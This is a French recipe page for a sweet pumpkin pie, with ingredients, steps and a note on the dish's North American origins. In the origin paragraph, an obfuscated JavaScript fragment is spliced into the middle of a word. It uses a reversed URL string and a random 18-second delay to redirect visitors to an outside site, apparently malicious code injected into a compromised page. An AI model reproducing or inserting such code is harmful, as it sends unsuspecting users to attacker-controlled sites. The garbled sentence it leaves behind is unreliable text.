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Idées & Conseils

Recette tarte à la citrouille

La saison des citrouilles et des potirons est arrivée alors quoi de mieux que de préparer un tarte à la citrouille qu’avec ses petits monstres ?

Et si on préparait cette tarte ensemble !

TARTE A LA CITROUILLE SUCREE :

Temps de préparation : 45 min

Temps de cuisson : 40 min

Ingrédients qu’il vous faut :

  • 1 pâte brisée ou sablée
  • 150g de sucre
  • 1 sachet de sucre vanillé
  • 1 pincée de muscade
  • sel
  • 800g de citrouille
  • 2 œufs entiers
  • 2 jaunes d’œufs
  • 20 cl de crème fraîche

PREPARATION

ETAPE 1

Faîtes cuire votre citrouille à la vapeur pendant 15 à 20 min.

ETAPE 2

Une fois cuite, en faire un purée.

ETAPE 3

Ajoutez la crème, les œufs, le sucre, la pincée de sel et la muscade (ne pas trop en mettre)

ETAPE 4

Une fois le mélange bien homogène, il doit être liquide.

ETAPE 5

Déroulez votre pâte dans un moule à tarte et piquez avec une fourchette.

ETAPE 6

Versez le mélange dans un plat à tarte.

ETAPE 7

Enfournez pendant 30 à 40 min suivant la puissance de votre four.

ETAPE 8

Dégustez de préférence froid.

ORIGINE

La Pumpkin Pie, la tarte à la citrouille, est un dessert traditionnel des États-Unis et du Canada. Elle est consommée bien souvent en autobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomne et début hivers, pendant Thanksgiving et Noël. La citrouille est un symbole de moisson et se retrouve également lors de la fête d’Halloween.